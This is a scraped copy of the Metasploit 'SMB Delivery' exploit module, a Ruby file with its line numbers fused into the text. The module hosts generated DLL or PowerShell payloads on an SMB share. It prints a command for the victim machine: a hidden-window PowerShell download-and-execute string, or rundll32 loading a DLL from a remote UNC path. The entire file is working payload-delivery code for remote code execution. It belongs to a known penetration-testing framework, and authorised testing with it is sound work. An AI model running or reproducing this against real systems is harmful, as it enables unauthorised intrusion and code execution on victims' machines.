Path: blob/master/modules/exploits/windows/smb/smb_delivery.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::EXE9include Msf::Exploit::Remote::SMB::Server::Share10include Msf::Exploit::Powershell1112def initialize(info = {})13super(14update_info(15info,16'Name' => "SMB Delivery",17'Description' => %q{18This module serves payloads via an SMB server and provides commands to retrieve19and execute the generated payloads. Currently supports DLLs and Powershell.20},21'License' => MSF_LICENSE,22'Author' => [23'Andrew Smith',24'Russel Van Tuyl'25],26'References' => [27['URL', 'https://github.com/rapid7/metasploit-framework/pull/3074']28],29'Payload' => {30'Space' => 2048,31'DisableNops' => true32},33'Platform' => 'win',34'Targets' => [35[36'DLL', {37'Platform' => 'win',38'Arch' => [ARCH_X86, ARCH_X64]39}40],41[42'PSH', {43'Platform' => 'win',44'Arch' => [ARCH_X86, ARCH_X64]45}46]47],48'Privileged' => false,49'DisclosureDate' => '2016-07-26',50'DefaultTarget' => 0,51'Notes' => {52'Reliability' => UNKNOWN_RELIABILITY,53'Stability' => UNKNOWN_STABILITY,54'SideEffects' => UNKNOWN_SIDE_EFFECTS55}56)57)5859register_options(60[61OptString.new('FILE_NAME', [ false, 'DLL file name', 'test.dll'])62]63)64end6566def primer67print_status('Run the following command on the target machine:')68case target.name69when 'PSH'70self.file_contents = cmd_psh_payload(payload.encoded,71payload_instance.arch.first,72remove_comspec: true,73wrap_double_quotes: true)7475download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(unc)76download_and_run = "#{ignore_cert}#{download_string}"77print_line generate_psh_command_line(noprofile: true,78windowstyle: 'hidden',79command: download_and_run)80when 'DLL'81self.file_contents = generate_payload_dll82print_line("rundll32.exe #{unc},0")83end84end85end868788